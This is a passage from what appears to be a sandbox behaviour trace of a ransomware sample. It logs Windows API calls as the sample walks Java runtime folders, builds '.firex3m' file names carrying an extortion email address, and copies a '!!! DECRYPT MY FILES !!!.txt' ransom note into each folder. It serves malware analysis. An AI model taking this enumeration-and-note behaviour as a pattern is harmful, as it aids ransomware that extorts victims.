RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x70d428, Size=0xbc) returned 0x71ee330 [0118.907] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 1 [0118.907] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 1 [0118.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf", cchLength=0x48 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf") returned 0x48 [0118.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.907] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.907] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.907] GetProcessHeap () returned 0x630000 [0118.907] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71ee330, Size=0xc0) returned 0x71ee3f8 [0118.907] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.907] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0118.908] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0118.908] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties", len=0x48 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 1 [0118.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties", cchLength=0x48 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 0x48 [0118.908] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.908] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.908] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.908] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.908] GetProcessHeap () returned 0x630000 [0118.908] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71ee3f8, Size=0xc4) returned 0x6e8730 [0118.908] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0118.908] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\", len=0x2e | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\") returned 1 [0118.909] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\") returned 0x2e [0118.909] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0118.909] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0118.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5200 [0118.910] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.910] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1 [0118.910] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\", len=0x36 | out: pbstr=0x6ebe880*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\") returned 1 [0118.910] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\", cchLength=0x36 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\") returned 0x36 [0118.911] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0118.911] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0118.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d52c0 [0118.952] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.952] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1 [0118.952] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties", len=0x48 | out: pbstr=0x6ebe878*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 1 [0118.952] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties", cchLength=0x48 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 0x48 [0118.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.952] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.952] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0118.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0118.952] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8c2a9b3, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5240 [0118.953] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0118.953] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0118.956] GetProcessHeap () returned 0x630000 [0118.956] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71ee330, Size=0xc4) returned 0x6e8800 [0118.957] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="invalid32x32.gif", cAlternateFileName="INVALI~1.GIF")) returned 1 [0118.957] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", len=0x46 | out: pbstr=0x6ebe878*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 1 [0118.957] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", cchLength=0x46 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 0x46 [0118.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.957] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.957] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.957] GetProcessHeap () returned 0x630000 [0118.957] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8800, Size=0xc8) returned 0x6e8a70 [0118.957] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="WIN32_~1.GIF")) returned 1 [0118.957] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", len=0x4d | out: pbstr=0x6ebe878*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 1 [0118.957] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", cchLength=0x4d | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif") returned 0x4d [0118.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.958] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.958] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.958] GetProcessHeap () returned 0x630000 [0118.958] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8a70, Size=0xcc) returned 0x6fbde68 [0118.958] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="WIN32_~2.GIF")) returned 1 [0118.958] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", len=0x4f | out: pbstr=0x6ebe878*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 1 [0118.958] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", cchLength=0x4f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif") returned 0x4f [0118.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.958] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.958] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.959] GetProcessHeap () returned 0x630000 [0118.959] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fbde68, Size=0xd0) returned 0x6fbdf40 [0118.959] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="WIN32_~3.GIF")) returned 1 [0118.959] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", len=0x4d | out: pbstr=0x6ebe878*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 1 [0118.959] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", cchLength=0x4d | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif") returned 0x4d [0118.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.959] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.959] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.959] GetProcessHeap () returned 0x630000 [0118.959] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fbdf40, Size=0xd4) returned 0x6a1538 [0118.959] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="WIN32_~4.GIF")) returned 1 [0118.960] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", len=0x4f | out: pbstr=0x6ebe878*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 1 [0118.960] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", cchLength=0x4f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif") returned 0x4f [0118.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.960] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.960] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.960] GetProcessHeap () returned 0x630000 [0118.960] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a1538, Size=0xd8) returned 0x6a17d8 [0118.960] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="WI06CF~1.GIF")) returned 1 [0118.960] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", len=0x4d | out: pbstr=0x6ebe878*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 1 [0118.960] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", cchLength=0x4d | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif") returned 0x4d [0118.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: 